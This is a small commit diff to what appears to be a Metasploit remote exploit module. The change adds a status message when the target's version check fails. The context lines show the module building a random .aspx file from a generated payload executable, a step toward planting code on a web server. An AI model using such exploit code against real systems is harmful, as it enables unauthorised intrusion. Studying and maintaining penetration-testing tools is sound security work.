add print_status with vuln_version?

bug/bundler_fix
join-us 2016-04-19 11:22:00 +08:00
parent c88ddf1cc4
commit 0407acc0ec
1 changed files with 4 additions and 1 deletions

View File

@ -112,7 +112,10 @@ class MetasploitModule < Msf::Exploit::Remote
end
def exploit
return unless vuln_version?
unless vuln_version?
print_status("#{peer} - Cannot reliably check exploitability.")
return
end
filename = "#{Rex::Text.rand_text_alpha(5)}.aspx"
filedata = Msf::Util::EXE.to_exe_aspx(generate_payload_exe)